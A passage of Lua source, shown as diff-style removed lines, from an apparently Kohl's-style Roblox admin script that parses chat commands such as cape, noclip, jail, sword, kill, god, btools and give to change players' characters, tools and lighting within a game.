- for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
- obj:Destroy()
- end
- end))
- end
- end
- if msg:lower():sub(1,4) == "hat " then
- local chk1 = msg:lower():sub(5):find(" ") + 4
- local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
- for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
- obj:Destroy()
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "cape " then
- local chk1 = msg:lower():sub(6):find(" ")
- local plrz = GetPlr(plr, msg:lower():sub(6))
- local str = "torso.BrickColor"
- if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
- local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
- if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
- if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
- if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
- if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
- if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
- if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
- if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
- if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
- if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
- if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
- if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
- if BrickColor.new(teststr) ~= nil then str = teststr end
- end
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
- for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
- local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
- repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
- local torso = plr.Character.Torso
- local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
- p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
- p.Size = Vector3.new(.2,.2,.2)
- local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
- local motor1 = Instance.new("Motor", p)
- motor1.Part0 = p
- motor1.Part1 = torso
- motor1.MaxVelocity = .01
- motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
- motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
- local wave = false
- repeat wait(1/44)
- local ang = 0.1
- local oldmag = torso.Velocity.magnitude
- local mv = .002
- if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
- ang = ang + math.min(torso.Velocity.magnitude/11, .5)
- motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
- motor1.DesiredAngle = -ang
- if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
- repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
- if torso.Velocity.magnitude < .1 then wait(.1) end
- until not p or p.Parent ~= torso.Parent
- script:Destroy()
- ]] cl.Parent = v.PlayerGui cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "uncape " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") and v.Character then
- for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "noclip " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") then
- local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
- cl.Parent = v.PlayerGui cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "clip " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
- for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
- v.Character.Torso.Anchored = false
- wait(.1) v.Character.Humanoid.PlatformStand = false
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "jail " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- local vname = v.Name
- local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
- local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
- local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
- v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
- v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
- game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
- v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
- v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
- end)
- local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
- local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
- local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
- local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
- local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
- local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
- local msh2 = msh:Clone() msh2.Parent = back
- local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
- local msh4 = msh3:Clone() msh4.Parent = left
- v.Character.Torso.CFrame = cf
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "unjail " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
- end
- if msg:lower():sub(1,11) == "starttools " then
- local plrz = GetPlr(plr, msg:lower():sub(12))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("Backpack") then
- for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "sword " then
- local plrz = GetPlr(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("Backpack") then
- local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
- sword.GripForward = Vector3.new(-1,0,0)
- sword.GripPos = Vector3.new(0,0,-1.5)
- sword.GripRight = Vector3.new(0,1,0)
- sword.GripUp = Vector3.new(0,0,1)
- local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
- local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
- local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
- repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
- local Damage = 15
- local SlashSound = Instance.new("Sound", script.Parent.Handle)
- SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
- SlashSound.Volume = 1
- local LungeSound = Instance.new("Sound", script.Parent.Handle)
- LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
- LungeSound.Volume = 1
- local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
- UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
- UnsheathSound.Volume = 1
- local last = 0
- script.Parent.Handle.Touched:connect(function(hit)
- if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
- local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
- hit.Parent.Humanoid:TakeDamage(Damage)
- end
- end)
- script.Parent.Activated:connect(function()
- if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
- script.Parent.Enabled = false
- local tick = game:service("RunService").Stepped:wait()
- if tick - last <= .2 then
- LungeSound:play()
- local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
- local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
- wait(.2)
- script.Parent.GripForward = Vector3.new(0,0,1)
- script.Parent.GripRight = Vector3.new(0,-1,0)
- script.Parent.GripUp = Vector3.new(-1,0,0)
- wait(.3)
- frc:Destroy() wait(.5)
- script.Parent.GripForward = Vector3.new(-1,0,0)
- script.Parent.GripRight = Vector3.new(0,1,0)
- script.Parent.GripUp = Vector3.new(0,0,1)
- else
- SlashSound:play()
- local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
- end
- last = tick
- script.Parent.Enabled = true
- end)
- script.Parent.Equipped:connect(function(mouse)
- for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
- UnsheathSound:play()
- script.Parent.Enabled = true
- if not mouse then return end
- mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
- end)]] cl.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "clone " then
- local plrz = GetPlr(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- v.Character.Archivable = true
- local cl = v.Character:Clone()
- table.insert(objects,cl)
- cl.Parent = game.Workspace
- cl:MoveTo(v.Character:GetModelCFrame().p)
- cl:MakeJoints()
- v.Character.Archivable = false
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "control " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- v.Character.Humanoid.PlatformStand = true
- local w = Instance.new("Weld", plr.Character.Torso )
- w.Part0 = plr.Character.Torso
- w.Part1 = v.Character.Torso
- local w2 = Instance.new("Weld", plr.Character.Head)
- w2.Part0 = plr.Character.Head
- w2.Part1 = v.Character.Head
- local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
- w3.Part0 = plr.Character:findFirstChild("Right Arm")
- w3.Part1 = v.Character:findFirstChild("Right Arm")
- local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
- w4.Part0 = plr.Character:findFirstChild("Left Arm")
- w4.Part1 = v.Character:findFirstChild("Left Arm")
- local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
- w5.Part0 = plr.Character:findFirstChild("Right Leg")
- w5.Part1 = v.Character:findFirstChild("Right Leg")
- local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
- w6.Part0 = plr.Character:findFirstChild("Left Leg")
- w6.Part1 = v.Character:findFirstChild("Left Leg")
- plr.Character.Head.face:Destroy()
- for i, p in pairs(v.Character:children()) do
- if p:IsA("BasePart") then
- p.CanCollide = false
- end
- end
- for i, p in pairs(plr.Character:children()) do
- if p:IsA("BasePart") then
- p.Transparency = 1
- elseif p:IsA("Hat") then
- p:Destroy()
- end
- end
- v.Character.Parent = plr.Character
- v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "kill " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then v.Character:BreakJoints() end
- end))
- end
- end
- if msg:lower():sub(1,8) == "respawn " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then v:LoadCharacter() end
- end))
- end
- end
- if msg:lower():sub(1,5) == "trip " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "stun " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.PlatformStand = true
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "unstun " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.PlatformStand = false
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "jump " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.Jump = true
- end
- end))
- end
- end
- if msg:lower():sub(1,4) == "sit " then
- local plrz = GetPlr(plr, msg:lower():sub(5))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.Sit = true
- end
- end))
- end
- end
- if msg:lower():sub(1,10) == "invisible " then
- local plrz = GetPlr(plr, msg:lower():sub(11))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for a, obj in pairs(v.Character:children()) do
- if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "visible " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for a, obj in pairs(v.Character:children()) do
- if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "lock " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for a, obj in pairs(v.Character:children()) do
- if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "unlock " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for a, obj in pairs(v.Character:children()) do
- if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "explode " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
- end
- end))
- end
- end
- if msg:lower():sub(1,4) == "age " then
- local plrz = GetPlr(plr, msg:lower():sub(5))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
- end))
- end
- end
- if msg:lower():sub(1,5) == "fire " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "unfire " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "smoke " then
- local plrz = GetPlr(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "unsmoke " then
- local plrz = GetPlr(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "sparkles " then
- local plrz = GetPlr(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
- end
- end))
- end
- end
- if msg:lower():sub(1,11) == "unsparkles " then
- local plrz = GetPlr(plr, msg:lower():sub(12))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,3) == "ff " then
- local plrz = GetPlr(plr, msg:lower():sub(4))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then Instance.new("ForceField", v.Character) end
- end))
- end
- end
- if msg:lower():sub(1,5) == "unff " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "punish " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- v.Character.Parent = game:service("Lighting")
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "unpunish " then
- local plrz = GetPlr(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- v.Character.Parent = game:service("Workspace")
- v.Character:MakeJoints()
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "freeze " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- for a, obj in pairs(v.Character:children()) do
- if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "thaw " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- for a, obj in pairs(v.Character:children()) do
- if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "heal " then
- local plrz = GetPlr(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
- end
- end))
- end
- end
- if msg:lower():sub(1,4) == "god " then
- local plrz = GetPlr(plr, msg:lower():sub(5))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.MaxHealth = math.huge
- v.Character.Humanoid.Health = 9e9
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "ungod " then
- local plrz = GetPlr(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.MaxHealth = 100
- v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "ambient " then
- local chk1 = msg:lower():sub(9):find(" ") + 8
- local chk2 = msg:sub(chk1+1):find(" ") + chk1
- game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
- end
- if msg:lower():sub(1,11) == "brightness " then
- game.Lighting.Brightness = msg:sub(12)
- end
- if msg:lower():sub(1,5) == "time " then
- game.Lighting.TimeOfDay = msg:sub(6)
- end
- if msg:lower():sub(1,9) == "fogcolor " then
- local chk1 = msg:lower():sub(10):find(" ") + 9
- local chk2 = msg:sub(chk1+1):find(" ") + chk1
- game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
- end
- if msg:lower():sub(1,7) == "fogend " then
- game.Lighting.FogEnd = msg:sub(8)
- end
- if msg:lower():sub(1,9) == "fogstart " then
- game.Lighting.FogStart = msg:sub(10)
- end
- if msg:lower():sub(1,7) == "btools " then
- local plrz = GetPlr(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("Backpack") then
- local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
- local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
- local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
- local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
- local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
- repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
- local sb
- local hs
- local pdist
- script.Parent.Selected:connect(function(mouse)
- if not mouse then return end
- sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
- hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
- mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
- hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
- hs.MouseButton1Down:connect(function() pdist = 0 end)
- end)
- script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,12) == "startergive " then
- local chk1 = msg:lower():sub(13):find(" ") + 12
- local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
- for a, tool in pairs(game.Lighting:children()) do
- if tool:IsA("Tool") or tool:IsA("HopperBin") then
- if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
- end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "give " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
- for a, tool in pairs(game.Lighting:children()) do
- if tool:IsA("Tool") or tool:IsA("HopperBin") then
- if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
- end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,12) == "removetools " then
- local plrz = GetPlr(plr, msg:lower():sub(13))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v:findFirstChild("Backpack") then
- for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
- for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "rank " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:IsInGroup(msg:sub(chk1+1)) then
- Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
- elseif v and not v:IsInGroup(msg:sub(chk1+1))then
- Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
